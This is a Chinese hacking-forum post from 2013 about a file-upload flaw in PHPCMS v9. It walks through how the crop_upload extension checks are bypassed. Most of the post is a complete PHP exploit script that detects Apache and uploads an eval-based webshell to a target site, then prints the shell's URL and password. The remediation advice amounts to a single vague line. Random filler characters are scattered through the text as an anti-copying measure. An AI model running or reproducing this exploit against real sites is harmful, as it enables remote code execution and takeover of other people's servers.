找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
9 T+ J2 ^4 g& b+ z& u& o3 \1 ]
简要描述:
* D, [9 ], q0 ^. T
) R: ~) h9 G1 x3 K) K! b0 }# rphpcms v9 getshell (apache). v/ X) T! `! C8 C7 f
详细说明:3 s" M( B/ `  o% x

# J) C" O- S+ m6 h漏洞文件:phpcms\modules\attachment\attachments.php. C: w; f& C8 x* \- Q1 f
+ c! j# m$ J7 @- [  S  r
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
) a' L) n  [: v$ E后缀检测:phpcms\modules\attachment\functions\global.func.php; R, m. ]$ {9 H
( f! e0 z! f  @" h( O0 P9 ]+ N2 c

4 o3 g+ ^+ i: `0 l- y0 d- A  _% F6 `9 O: Y
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
/ S: t8 \0 u, b; T9 t# J- x6 G/ H
关键函数:$ G8 j- S" n: \0 ^

' S& k  I+ p' n6 Q' B' Y) A 1 f- ^! R8 B6 O

+ v5 b& H! }2 u6 w: [function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }    S3 d# i* H# h5 o) i
2 \: y  b  @# \, W2 Z) x( r
  Fileext函数是对文件后缀名的提取。
2 m- N* `" }2 j0 Z! w根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php) E  v$ A: E4 |4 |
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。8 I( m6 S6 y3 L  [% H) G
我们回到public function crop_upload() 函数中
: _! }! U9 `1 M+ Z; T2 D* s& Fif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();, ^7 i7 S9 i' m% b
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数& t6 a  F2 R( `" Y$ |( D
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。& z# `& M: D, [8 Y+ D5 W) I5 c5 R
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。) T9 s, [7 ~7 h& [: F
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
  \% h" L- _! g; r% [看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# o) ]  \6 K# ^漏洞证明:
' {; T1 e5 u! x- t
; R! M$ j5 A  a# m3 i1 p+ C, kexp:
5 q" v- E- o$ n: I% P+ F. L( \0 @$ w7 e. d9 I! I( H4 x
<?php  ]8 T5 r7 Y, Q1 H) A! b
error_reporting(E_ERROR);- p. X% k8 C0 N4 C: a& e* D- {8 p  R
set_time_limit(0);  n3 J! u( h/ Y  [$ S4 S/ \' a
$pass="ln";
- M" m# i5 z' V( O5 lprint_r('
! w& O% `& e8 K# u; B+---------------------------------------------------------------------------+8 _, {- t. x. L7 f( f, ?  N
PHPCms V9 GETSHELL 0DAY
+ o* c" N- \) ~, B5 M9 n" u0 i4 Hcode by L.N.% N% e  s8 \/ L

- }& O8 T% o! d; ]; K& Mapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
* x; c6 ?1 W/ O# d+---------------------------------------------------------------------------+) A5 ?3 Q: S9 ]
');7 F- w) s( ?& X- q5 @/ ^
if ($argc < 2) {
- @" F- n) v3 z4 |2 S9 \print_r('
5 a5 D( c8 |, f* ^+---------------------------------------------------------------------------+" b; ~0 J( ^! A$ Z' A- `; g5 k: `
Usage: php '.$argv[0].' url path0 F, q5 G+ r* o- r) M
, }" l% ~  Y# ?1 _3 T. R
Example:4 k4 G6 A- f- p0 z- Q
1.php '.$argv[0].' lanu.sinaapp.com# j/ `: n4 U% y' A: \2 s9 O
2.php '.$argv[0].' lanu.sinaapp.com /phpcms9 h& r, g; x( |; Y! G/ e2 j3 k7 n5 N6 d  Q
+---------------------------------------------------------------------------+: d. a/ R) }/ O$ D
');
+ K& S: B. x; ^* mexit;
$ e! g# z: K8 j* B1 B1 W}9 E; k1 `" o3 s' |4 L0 |/ v( c
; M9 i# \9 P1 [+ c; T9 }& |
$url = $argv[1];3 I, I6 i$ b, Z! T
$path = $argv[2];
4 r9 r: M) h5 m) ~$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
9 a. k! I, T1 P9 P$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
& b+ E5 \4 z3 j7 q2 b* c$ Zif($ret=Create_dir($url,$path))8 x* w5 w/ }1 G# q5 d
{
2 _& T2 `  S. C- n) a9 X; ^//echo $ret;! R. Q& f. O! M6 ^9 J7 v
$pattern = "|Server:[^,]+?|U";' Y& b) Q+ d6 ~) H
preg_match_all($pattern, $ret, $matches);* k. w! R, _2 e' f# a& n
if($matches[0][0])# C) s! w" g$ C0 P% _$ i
{
  N: \9 z: c  K! u$ yif(strpos($matches[0][0],'Apache') == false)/ r& Y; n7 h! [3 p# o
{4 @  r' q0 {0 r) P8 z
echo "\n亲!此网站不是apache的网站。\n";exit;' i6 e5 J* z# r; C8 c1 e) r% L
}4 M- S& |) B8 L. @. l" j5 F! z
}
1 m; z$ J- S9 @  e0 ~$ret = GetShell($url,$phpshell,$path,$file);, f9 G/ Z4 [8 j
$pattern = "|http:\/\/[^,]+?\.,?|U";
( g. u5 Y; \6 O& }+ tpreg_match_all($pattern, $ret, $matches);/ |7 s8 L3 O9 A" H) R
if($matches[0][0])( o; ^% D( Y. k! ^
{9 S* T& i7 M# c# P
echo "\n".'密码为: '.$pass."\n";3 V0 X3 `3 M8 b! V2 K2 O2 y# [
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  B/ E: M" y9 x}, `. [( Z+ i: E% L* N" J& V
else3 k  s, g- z; t
{
3 t  ?- i, i  n4 J/ ]! G! I0 [$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
' K! n: `. R( P  D  o5 spreg_match_all($pattern, $ret, $matches);9 p- L( |; a% e2 o+ y
if($matches[0][0])
' C2 {, v; |; M{
: E1 @5 k- v- ]/ W1 J. p8 V" A% oecho "\n".'密码为: '.$pass."\n";
3 ~! K* ^  ~* U1 U) kecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;/ y, [$ m3 k& `/ \1 c/ h/ D
}  s( U1 x- m9 z+ z
else6 B3 Z8 f6 p6 j& C
{
) y9 u0 B; s- ]2 N, F1 O& secho "\r\n没得到!\n";exit;
1 W. F. b3 W; U6 m: z9 t}0 {) `8 c% r/ i, A& n2 G7 J- [
}$ Q9 v1 l8 y* [* j! C7 B
}# N4 n& x' {' y  S; u4 Z4 C

! n& \2 d3 ]; B. kfunction GetShell($url,$shell,$path,$js)2 ~$ Y  z  u2 S" x7 F
{
  C( O" T) w$ x; i* T$content =$shell;
9 h1 h+ X+ E" d' x8 i' R$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
" [: }1 \8 N( e5 i$data .= "Host: ".$url."\r\n";
+ i, {' g2 U! `& B$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' w4 ~9 `4 A( Q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";% n* z8 F8 F+ p, P9 V
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";6 y/ A& ?- y# W( f
$data .= "Connection: close\r\n";
  @' ^3 u4 T# V8 T% y6 D+ J$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- o, p' b8 |. A2 \$data .= $content."\r\n";
" [* H* e% x, A% w& a& p8 |3 c$ock=fsockopen($url,80);) P" t% w# C; k; V# `$ U# e
if (!$ock)
' {' I9 M. P; A! y{
8 P( |9 W. L' }2 a; w! U# [echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;! R! E. Y" c, e4 Q9 P$ J. ]9 c
}( I, L) z+ ~. B9 E# ]2 T4 J
else" {' Y7 ^. ?7 _+ i  s
{! r8 X# Y4 r$ i3 A% a
fwrite($ock,$data);
( T# I3 M" [1 q. P' j" x$resp = '';
: K  B5 _( \2 j5 T7 Xwhile (!feof($ock))
7 o- p0 j( r0 ~2 A  h; s9 q( i{
2 N: V9 U5 _  z, f' _7 H& y$resp.=fread($ock, 1024);8 I0 n( q+ ^8 r
}  F) i) m1 o) }) e
return $resp;, B9 S& n5 [7 A1 Z
}
& M$ ]! z- z% c8 b) @+ w}4 D! x( S. R9 C4 H5 a, r; ?/ @
1 v, N% s0 U/ ?# Z7 r, j/ z
function Create_dir($url,$path='')
, ^# l; _+ ^. a( i9 m- |: _{, ~4 e5 j' e8 o# _5 v  d5 }6 r
$content ='I love you';
9 Q6 }/ }' O3 M3 W5 U$ x$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";  l$ C. e8 p2 ^. C
$data .= "Host: ".$url."\r\n";
3 @0 h. E3 K" {$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ n8 ^, g+ i5 B0 \  l( O
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 ^8 Y) e( u6 ]9 q2 y! W7 Q- x$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ j6 G4 @( H% E" M# s, r
$data .= "Connection: close\r\n";
7 }- |( y3 n+ \% Y5 Q4 X$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
5 f8 A) W5 l1 `, ], l$data .= $content."\r\n";
, A. x$ D* c# `$ock=fsockopen($url,80);
, R; v' Y7 I8 w9 Z* Pif (!$ock)% f' I+ q+ I9 |# L5 _7 P5 o
{. q( `( ~1 d) g8 x8 m
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
# V3 ^' A+ D: D1 S" [1 h7 @# ^}: O4 _% ?% B" H6 r& p7 z1 Z! q8 L
fwrite($ock,$data);) W: ]4 p1 d2 T' c$ r# D+ _
$resp = '';
( x" a: s% L8 [9 @. ?. e8 Mwhile (!feof($ock))
& [' [, r) Z& Q) q0 S! m0 D/ F{
& q) T5 G2 U( T4 V1 P0 G$resp.=fread($ock, 1024);6 x& L8 H9 S7 \* p. a7 T
}% }1 ~& W. G* Y) o# W9 n
return $resp;- Z* z! f' o) m) R( b: z+ @
}
0 m. ^6 i; x; l% @?>
$ l2 S% m/ _) W $ |3 q7 ]; c7 c) D
修复方案:
$ F2 g! X1 [# S% o0 I' Y, ?6 q; Q* u2 k8 {( d. g+ y
过滤过滤再过滤+ Q8 j2 R2 L1 d: v

2 ?  P( K2 o8 v$ w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表